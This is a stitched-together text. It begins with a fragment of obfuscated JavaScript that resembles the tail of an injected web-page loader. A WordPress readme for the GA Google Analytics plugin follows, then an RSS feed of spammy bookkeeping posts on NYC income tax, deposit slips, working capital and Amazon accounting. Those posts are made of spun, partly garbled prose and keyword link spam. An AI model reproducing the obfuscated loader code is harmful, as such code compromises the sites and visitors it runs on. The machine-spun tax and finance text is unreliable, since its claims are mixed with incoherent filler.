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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>Bookkeeping &#8211; pspwptest</title>
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		<title>New York City Income Tax: Essential Guide for Residents and Workers</title>
		<link>https://psp-wp-test.objectsdev.com/new-york-city-income-tax-essential-guide-for/</link>
					<comments>https://psp-wp-test.objectsdev.com/new-york-city-income-tax-essential-guide-for/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Wed, 22 Mar 2023 16:47:08 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=936</guid>

					<description><![CDATA[For NYC residents, both taxes must be accounted for, adding a layer of complexity to tax filings. Consulting a tax professional can help ensure compliance and optimize tax strategies. NYS income tax rates are also progressive, ranging from 4% to over 10% for top earners. NYC income tax is calculated using progressive rates that can [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/08/liabilities-min-300x200.jpg" width="257px" alt="ny city income tax"/></p>
<p>For NYC residents, both taxes must be accounted for, adding a layer of complexity to tax filings. Consulting a tax professional can help ensure compliance and optimize tax strategies. NYS income tax rates are also progressive, ranging from 4% to over 10% for top earners. NYC income tax is calculated using progressive rates that can reach up to 3.876% for high-income earners. These taxes are separate from state income taxes <a href="https://www.irs.gov/publications/p538">Accounting Periods and Methods</a> and must be paid directly to NYC.</p>
<h2>New York: Federal EITC(Earned Income Tax Credits) Rates and Thresholds in 2025</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/10/ca3acac4-8467-4675-9261-fb7a90f6ff76-400x300.jpg" width="255px" alt="ny city income tax"/></p>
<p>Generally speaking, unless you earned more than $250,000 dollars (single) or $500,000 (married filing jointly) in profit, the money that you pocket from the sale of your home is not included in your income tax. The credit is equal to your direct share of the NYC PTET, which your electing entity reported. If you receive more than one NYC PTET credit, add the credits together on your personal income tax return. If an individual’s net earnings from self-employment allocated to either zone exceed $50,000 for the taxable year, then you are subject to the MCTMT. The $50,000 threshold is calculated on an individual basis, even if you file a joint income tax return.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/05/7d987627-0f73-4559-8e67-18247424a710-300x200.jpg" width="258px" alt="ny city income tax"/></p>
<h2>Qualifying pension and annuity income includes the following:</h2>
<ul>
<li>Filing a NYC tax return as a full resident of New York City is pretty straightforward.</li>
<li>To qualify for the EITC, an individual or family must meet certain income guidelines, which depend on their filing status and the number of qualifying children they have.</li>
<li>With new developments and proposals on the horizon, navigating the city’s tax landscape requires careful attention and proactive planning.</li>
<li>The credit amount will depend on the amount of qualified tuition expenses paid during the tax year.</li>
</ul>
<p>It’s worth noting that if you are self-employed, you will have to pay the entire amount yourself, though the good news is that you can deduct the employer portion. While NYC imposes a separate city income tax, California’s state tax rates are generally higher. The overall tax burden depends on individual circumstances, including income level and residency. Strategic use of adjustments and deductions can significantly reduce your tax burden. Deductions, such as those for mortgage interest and property taxes on a primary residence, lower taxable income and can provide significant savings for homeowners.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/09/48de0515-142b-425d-b903-ed9b38b0d3b8-300x200.jpg" width="256px" alt="ny city income tax"/></p>
<h2>Make a payment</h2>
<p>The computation of your New York State, New York City, and Yonkers income tax is based on the information you reported on your federal income tax return, including your income and federal adjustments to income. In New York City, individuals are required to file their income tax returns in  a timely manner. When a person fails to file a return on time, or does not pay the taxes due, they may be subjected to additions to tax, penalties, or interest. The NYC income tax rates range from 3.078% to 3.876%, with  the bracket you fall into depending on your annual earnings and filing status. Meanwhile, New York State taxes have nine different tax brackets, ranging from 4% to 10.9%. These combined taxes contribute to the <a href="https://x.com/BooksTimeInc/status/1912889795610853858">Cash Flow Management for Small Businesses</a> overall financial health of the city and the state while also supporting public services such as education, infrastructure, and public safety.</p>
<p>If you had New York State, New York City, or Yonkers tax withheld from annuities, pensions, retirement pay, or IRA payments, you must complete Form IT-1099-R, Summary of Federal Form 1099-R Statements. Submit as many Forms IT-1099-R as you <a href="https://www.bookstime.com/tax-rates/new-york">ny city income tax</a> need to report all the Forms 1099-R you received. If you are a New York City resident or part-year resident and marked No at item C on the front of Form IT-201, use your New York City taxable income (see below) to calculate your credit. You must calculate your MCTMT net earnings base separately for each source of self-employment income that has business activity in one or both zones. If you have more than one source, combine all the individual amounts on line 54a (Zone 1 amounts) or line 54b (Zone 2 amounts), as applicable. If a taxpayer died after 2021 and before filing a return for 2022, the taxpayer’s spouse or personal representative may have to file and sign a return for that taxpayer.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/12/4d7NXyq-300x101.jpg" width="254px" alt="ny city income tax"/></p>
<div style='text-align:center'><iframe width='569' height='319' src='https://www.youtube.com/embed/oxFbot8HGCE' frameborder='0' alt='ny city income tax' allowfullscreen></iframe></div>
<p>The reason for that relatively low rate is that the taxable value of most residential property in New York City is equal to just 6% of the market value. That is, if your home is worth $500,000, you will only be charged taxes on $30,000 of that amount. Outside of New York City, however, rates are generally between 0.68% and 3.08%. Also keep copies of any books, records, schedules, statements, or other related documents. The Tax Department may ask you to provide copies of these records after you have filed your income tax returns. If you choose, you may use a private delivery service, instead of the U.S.</p>
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		<title>Free Printable Deposit Slips Template Free Editable Printables Design &#038; Print Instantly</title>
		<link>https://psp-wp-test.objectsdev.com/free-printable-deposit-slips-template-free-2/</link>
					<comments>https://psp-wp-test.objectsdev.com/free-printable-deposit-slips-template-free-2/#respond</comments>
		
		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Fri, 16 Dec 2022 15:58:52 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=452288</guid>

					<description><![CDATA[On the off chance that you’re a bank proprietor, you might need to plan your format. You can do this on the off chance that you don’t claim a bank establishment wherein you need to utilize the slips from the bank’s primary branch. Some products could expect you to utilize a specific sort of paper. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/08/690f3c4b2e.jpg" width="259px" alt="deposit slip"/></p>
<p>On the off chance that you’re a bank proprietor, you might need to plan your format. You can do this on the off chance that you don’t claim a bank establishment wherein you need to utilize the slips from the bank’s primary branch. Some products could expect you to utilize a specific sort of paper.</p>
<h2>Account Deposit Slip Template</h2>
<div style='text-align:center'><iframe width='567' height='316' src='https://www.youtube.com/embed/afJ9P4MJq3w' frameborder='0' alt='deposit slip' allowfullscreen></iframe></div>
<p>Customers get this slip from the bank that contains information about the way of deposit like cash, account number, etc. Additionally, various deposit slip templates make the process of gathering all information of clients easier. Some banks may require the use of deposit slips for every deposit, while others may only require them for larger deposits or for certain types of transactions. It’s a good idea to check with your bank or credit union to see if they have any specific policies or guidelines regarding the use of deposit slips. It is a crucial tool for keeping track of financial transactions and ensuring that deposits are credited to the correct account. In this article, we will discuss the various types of deposit slips, how to properly fill one out, and the benefits of using them for your banking needs.</p>
<ul>
<li>Also, businesses may be able to deposit checks using a check scanner, depending on the bank.</li>
<li>Most deposit slips have an extra set of boxes printed on the back so that you don’t have to fill in your personal information multiple times and deal with multiple subtotals.</li>
<li>A deposit slip is used when depositing money at a bank while checks are used to transfer funds from one account to another or to withdraw funds.</li>
<li>Similarly, fewer ATMs require users to submit a deposit slip because new technology allows the computers in ATMs to read checks and count cash.</li>
<li>The slip generally used to request the depositor to provide the date of the deposit, name, contact information, account number and other necessary particulars of the deposit.</li>
</ul>
<h2>Start Creating Your Deposit Slip Forms</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/07/how-to-pass-the-cpa-exam-300x129.jpg" width="258px" alt="deposit slip"/></p>
<p>You typically only need to sign a deposit slip when you want cash back from your deposit. If you&#8217;re only depositing funds, you don&#8217;t need to sign the deposit slip. If you&#8217;re depositing through an ATM, you may not need a deposit slip at all, so you won&#8217;t need to sign anything. If you want to score bonus points with the teller, enter your deposit amounts in dollars and cents. You’ll notice separate boxes for each entry on most  <a href="https://www.thebalance.com/retained-earnings-on-the-balance-sheet-357294">retained earnings balance sheet</a> deposit slips.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/01/small-business-tax-deductions-checklist-3-300x193.jpg" width="255px" alt="deposit slip"/></p>
<h2>Less cash received.</h2>
<ul>
<li>They serve as a cornerstone for maintaining organized and transparent financial records.</li>
<li>Deposit slip forms may not be a big deal if you only have to fill one or two by hand every week.</li>
<li>This section is reserved explicitly to detail the cash portion of a deposit.</li>
<li>This signature serves as an additional layer of verification and ensures the transaction’s authenticity.</li>
<li>This receipt is critical for tracking and reconciling accounts later.</li>
<li>One common issue is filling out the slip incorrectly, such as writing the wrong account number or failing to itemize cheques.</li>
</ul>
<p>If you do not have any cash to deposit, leave this line blank.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/06/31baf22d-b6bd-4d64-9e5b-0be5019f89db-300x200.jpg" width="254px" alt="deposit slip"/></p>
<p>To put aside <a href="https://www.linkedin.com/posts/bookstime_in-accounting-not-every-transaction-arrives-activity-7382059325420224512-Ju85/">Suspense Account</a> a deposit slip at your bank, you want to finish up and present a bank deposit slip layout. However, they generally just issue a couple of slips all at once. Some normal deposit slip models are those for investment funds and current records.</p>
<ul>
<li>Proper investigation and recording cash kept into the financial balance is a basic vital component of the bookkeeping procedure.</li>
<li>Customised deposit slips often include additional fields tailored to the business’s specific needs, such as space for invoice numbers or customer references.</li>
<li>Many retail businesses handle large volumes of cash daily, and deposit slips help organize these funds before they are deposited into the bank.</li>
<li>A deposit slip, on the other hand, is a record of money being added to an account — usually from checks, cash, or a combination.</li>
<li>You probably don&#8217;t wake up thinking about deposit slips—but maybe you should.</li>
</ul>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/11/image-QmSbn2ypYeLUuK7T-300x189.png" width="259px" alt="deposit slip"/></p>
<p>Keep this large  number of slips in a document so you can screen all the cash you’ve stored in your record. It is <a href="https://www.bookstime.com/articles/deposit-slip">how to fill out a deposit slip</a> also important to note that some banks may have different format for their deposit slips. If depositing checks, the check numbers should be written on the deposit slip.</p>
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		<item>
		<title>Change in Net Working Capital NWC Formula + Calculator</title>
		<link>https://psp-wp-test.objectsdev.com/change-in-net-working-capital-nwc-formula/</link>
					<comments>https://psp-wp-test.objectsdev.com/change-in-net-working-capital-nwc-formula/#respond</comments>
		
		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Wed, 02 Feb 2022 12:28:00 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=2145</guid>

					<description><![CDATA[Typical&#160;current assets&#160;that are included in the net working capital calculation are&#160;cash,&#160;accounts receivable,&#160;inventory, and short-term investments. The current liabilities section typically Cash Flow Management for Small Businesses includes&#160;accounts payable,&#160;accrued expenses&#160;and taxes, customer deposits, and other trade debt. You’ll need to tally up all your current assets to calculate net working capital. Credit Risk Management In short, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/08/26eb8fcd00.jpg" width="255px" alt="how to calculate change in net working capital"/></p>
<p>Typical&nbsp;current assets&nbsp;that are included in the net working capital calculation are&nbsp;cash,&nbsp;accounts receivable,&nbsp;inventory, and short-term investments. The current liabilities section typically <a href="https://www.facebook.com/BooksTimeInc/posts/pfbid02rL5zGKbArYSCiydg7Whr7HbuhavAVJGwDEmqSk5xQUkZbAktq5sYUZvz1Pg4QZwGl">Cash Flow Management for Small Businesses</a> includes&nbsp;accounts payable,&nbsp;accrued expenses&nbsp;and taxes, customer deposits, and other trade debt. You’ll need to tally up all your current assets to calculate net working capital.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/01/845852b8-1abe-4425-8cc8-9bf27659d7cc.jpg" width="251px" alt="how to calculate change in net working capital"/></p>
<h2>Credit Risk Management</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/06/close-up-two-business-people-shaking-hands-while-sitting-working-place_1150-1817.jpg" width="254px" alt="how to calculate change in net working capital"/></p>
<p>In short, working capital is a snapshot of a company&#8217;s current financial position, while change in net <a href="https://search.yahoo.com/search?p=ledger+account">ledger account</a> working capital shows how that position has changed over time. Monitoring changes in working capital is crucial for businesses for several reasons. First, it can help businesses identify potential cash flow issues and take corrective  action to avoid them.</p>
<h2>Step-by-Step Process to Calculate Change in Working Capital from Balance Sheet</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/09/Dividends-e1422638379944-min.jpg" width="253px" alt="how to calculate change in net working capital"/></p>
<p>This efficiency helps a business maximize its profitability, as  it is well-prepared to handle unexpected expenses or invest in income-generating opportunities without relying heavily on external financing. Investors can also see the usefulness of NWC in calculating the free cash flow&nbsp;to&nbsp;firm and free cash flow to equity. But if there is an increase in the net working capital&nbsp;adjustment, it isn&#8217;t considered positive; rather, it&#8217;s called negative cash flow. And obviously, this increased working capital is not available for equity. Below is a short video explaining how the operating activities of a business impact the working capital accounts, which are then used to determine a company’s NWC.</p>
<h2>Impact on The Operation &amp; Financial Performance</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/03/c8b935b1-61db-4b9a-aced-63de02e06abd.jpg" width="259px" alt="how to calculate change in net working capital"/></p>
<p>A company&#8217;s balance sheet contains all working capital components, though it may not need all the elements discussed below. For example, a service company that doesn&#8217;t carry inventory will simply not factor inventory into its working capital calculation. To calculate working capital, subtract a company&#8217;s current liabilities from its current assets. Both figures can be found in public companies&#8217; publicly disclosed financial statements, though this information may not be readily available for private companies. Some sectors like Retail and Ecommerce experience significant fluctuations in sales and inventory during peak seasons. Throughout this period they undergo cyclical adjustments in current assets.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/10/9286459872645.jpg" width="254px" alt="how to calculate change in net working capital"/></p>
<div style='text-align:center'><iframe width='568' height='314' src='https://www.youtube.com/embed/0vUK06MGC-o' frameborder='0' alt='how to calculate change in net working capital' allowfullscreen></iframe></div>
<p>Stronger growth calls for greater investment in accounts receivable and inventory, which uses up cash. This, in turn, can lead to major changes in working capital from one month to the next. To calculate this ratio, you take a business’s short-term money and compare it to all the money it has. This ratio is expressed as a percentage, which tells you how much short-term money exists in relation to the business’s total money. Different companies may have different level of liquidity requirements, depending on the type of industry, business model, products and services manufactured etc. It also depends on the market conditions and the size <a href="https://www.bookstime.com/articles/change-in-net-working-capital">net working capital</a> of company operations.</p>
<h2>What Counts as Current Assets?</h2>
<ul>
<li>In general, an understanding of FCF and its connection to working capital can provide valuable financial insights.</li>
<li>However, you may assume that taking a loan or using a credit line are the ways by which you can resolve the challenge of the inadequacy of the Net Working Capital.</li>
<li>We also exclude employee benefits and net as they can’t be included in our liabilities because they don’t contribute to our working capital.</li>
<li>However, it’s not always necessary to have a large amount of net working capital, and sometimes even dipping into the negative is acceptable.</li>
<li>A negative change may suggest liquidity problems, which could impact the company’s ability to meet obligations and continue operations.</li>
</ul>
<p>Changes in net working capital can have significant implications for a company&#8217;s financial health. For example, if a company experiences a positive change, it may have more funds to invest in growth opportunities, repay debt, or distribute to shareholders. Conversely, a negative change may signal that a company struggles to meet its short-term obligations. Change in Working capital cash flow means an actual change in value year over year, i.e., the change in current assets minus the change in current liabilities. With the change in value, we will understand why the working capital has increased or decreased.</p>
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		<title>Amazon Seller Accountant amazon fba accounting</title>
		<link>https://psp-wp-test.objectsdev.com/amazon-seller-accountant-amazon-fba-accounting/</link>
					<comments>https://psp-wp-test.objectsdev.com/amazon-seller-accountant-amazon-fba-accounting/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Wed, 01 Sep 2021 16:21:52 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=850714</guid>

					<description><![CDATA[I&#8217;d also echo the previous comments &#8211; The customer support is excellent. I was extremely optimistic about this and how much time it would save but it was better than I could even imagine. It just works easily, I couldn&#8217;t recommend this enough to someone thinking about using it. Setting Up Your Chart of Accounts [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/01/2cfeebcd-4384-4d83-9a4d-3e19e626f2b6.jpg" width="255px" alt="amazon seller accountant"/></p>
<p>I&#8217;d also echo the previous comments &#8211; The customer support is excellent. I was extremely optimistic about this and how much time it would save but it was better than I could even imagine. It just works easily, I couldn&#8217;t recommend this enough to someone thinking about using it.</p>
<h2>Setting Up Your Chart of Accounts</h2>
<p>If you’re unable to pay your tax bill, the IRS offers payment plans that allow you to pay off your balance in increments over time. Clients who use A2X are reconciling their books faster, have up-to-date information, and have what they need to make good, timely business decisions. Accurately account for taxes by assigning rules to every transaction type, taxable or non-taxable sales, and country. Deal Direct Trade Ltd is a London-based eCommerce business specializing in B2B and B2C sales across multiple platforms and currencies.</p>
<h2>Recover Lost Revenue</h2>
<ul>
<li>The process in A2X is usually to update any missing costs in A2X – that will happen if you&#8217;ve added a new SKU in the last month.</li>
<li>Let’s sort your cash flow, make the numbers make sense, and get you back to running your business.</li>
<li>We also have a free template of what a well-ordered chart of accounts looks like for an ecommerce business.</li>
<li>If you are considering A2X then stop, and go with Link my books.</li>
<li>Armed with this knowledge, you can steer your ship towards success with confidence.</li>
</ul>
<p>Then, either you have to fix them or you have to pay extra money to your accountant to clean up your VA’s work at tax time. Bookkeeping helps you track where your money comes from and where it’s going, but to keep your books organized, you’ll need to record transactions by category. First, you’ll need to decide what those categories will be.</p>
<h2>Common Amazon Accounting Mistakes &amp; How to Avoid Them</h2>
